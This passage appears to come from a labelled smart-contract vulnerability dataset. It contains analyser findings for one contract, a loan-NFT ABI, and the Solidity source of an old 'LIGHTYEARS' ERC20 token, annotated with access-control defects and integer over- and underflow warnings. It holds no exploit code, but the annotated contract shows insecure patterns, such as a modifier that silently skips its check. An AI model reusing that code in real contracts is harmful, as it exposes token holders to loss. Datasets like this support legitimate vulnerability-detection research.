{"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1895, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1899, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1903, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1907, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1911, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1915, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1919, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1923, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1927, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1931, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1935, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1939, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1943, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1947, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1951, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1955, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 2403, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 395, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 436, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 15, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 88, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2242, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 431, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2242, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2242, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2246, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2246, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2246, "severity": 1}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 447, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 451, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 599, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 615, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 619, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 623, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 627, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 631, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 647, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 663, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 679, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 683, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 687, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 691, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 695, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 699, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 703, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 707, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 711, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 715, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 719, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 723, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 727, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 731, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 735, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 739, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 743, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 747, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 751, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 755, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 759, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 775, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 791, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 807, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 811, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 815, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 819, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 823, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 839, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 855, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 871, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 875, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 879, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 883, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 887, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 903, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 919, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 935, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 939, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 943, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 947, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 951, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 955, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 959, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 963, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 967, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 971, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 975, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 979, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 983, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 987, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 991, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 995, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 999, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1003, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1007, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1011, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1015, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1019, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1023, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1027, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1031, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1035, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1039, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1043, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1047, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1051, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1055, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1059, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1063, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1067, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1071, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1075, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1079, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1083, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1087, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1091, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1095, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1099, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1103, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1107, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1111, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1115, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1119, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1123, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1127, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1131, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1135, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1139, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1143, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1147, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1151, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1155, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1159, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1163, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1167, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1171, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1175, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1179, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1183, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1187, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1191, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1195, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1199, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1203, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1207, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1211, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1215, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1219, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1223, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1227, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1231, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1235, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1239, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1243, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1247, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1251, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1255, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1259, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1263, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1267, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1271, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1287, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1303, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1319, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1323, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1327, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1331, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1335, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1351, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1367, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1383, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1387, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1391, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1395, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1399, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1415, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1431, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1447, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1451, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1455, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1459, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1463, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1467, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1471, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1475, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1479, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1483, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1487, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1491, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1495, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1499, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1503, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1507, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1511, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1515, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1519, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1523, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1527, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1543, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1559, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1575, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1579, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1583, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1587, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1591, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1607, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1623, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1639, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1643, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1647, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1651, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1655, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1671, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1687, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1703, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1707, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1711, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1715, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1719, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1723, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1727, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1731, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1735, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1739, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1743, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1747, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1751, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1755, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1759, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1763, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1767, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1771, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1775, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1779, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1783, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1799, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1815, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1831, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1835, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1839, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1843, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1847, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1863, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1879, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1895, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1899, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1903, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1907, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1911, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1927, "severity": 2}, {"rule": "SOLIDITY_WRONG_SIGNATURE", "line": 1943, "severity": 2}] | [{"inputs":[{"internalType":"address","name":"_pawnShop","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"mintLoan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pawnShop","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"loanId","type":"uint256"}],"name":"transferLoan","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.2+commit.661d1103 | false | 200 | 000000000000000000000000f22ec31999a8837c39c100747b48e408e14c9035 | Default | false | ||||
YEARS | 0xdd41fbd1ae95c5d9b198174a28e04be6b3d1aa27 | Solidity | pragma solidity ^0.4.8;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) owner = newOwner;
}
}
contract TokenSpender {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract YEARS is ERC20, SafeMath, Ownable {
/* Public variables of the token */
string public name; //fancy name
string public symbol;
uint8 public decimals; //How many decimals to show.
string public version = 'v0.1';
uint public initialSupply;
uint public totalSupply;
bool public locked;
//uint public unlockBlock;
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
// lock transfer during the ICO
modifier onlyUnlocked() {
if (msg.sender != owner && locked) throw;
_;
}
/*
* The YERS Token created with the time at which the crowdsale end
*/
function YEARS() {
// lock the transfer function during the crowdsale
locked = true;
//unlockBlock= now + 15 days; // (testnet) - for mainnet put the block number
initialSupply = 10000000000000000;
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;// Give the creator all initial tokens
name = 'LIGHTYEARS'; // Set the name for display purposes
symbol = 'LYS'; // Set the symbol for display purposes
decimals = 8; // Amount of decimals for display purposes
}
function unlock() onlyOwner {
locked = false;
}
function burn(uint256 _value) returns (bool){
balances[msg.sender] = safeSub(balances[msg.sender], _value) ;
totalSupply = safeSub(totalSupply, _value);
Transfer(msg.sender, 0x0, _value);
return true;
}
function transfer(address _to, uint _value) onlyUnlocked returns (bool) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyUnlocked returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/* Approve and then comunicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData){
TokenSpender spender = TokenSpender(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
}
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
} | [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["35"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["4", "94"]}, {"defect": "Redefine_variable", "type": "Code_specification", "severity": "Low", "lines": ["96"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["19", "130"]}] | null | [{"error": "Integer Underflow.", "line": 92, "level": "Warning"}, {"error": "Integer Underflow.", "line": 91, "level": "Warning"}, {"error": "Integer Underflow.", "line": 94, "level": "Warning"}, {"error": "Integer Overflow.", "line": 165, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 82, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 105, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 5, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 6, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 64, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 68, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 72, "severity": 1}, {"rule": 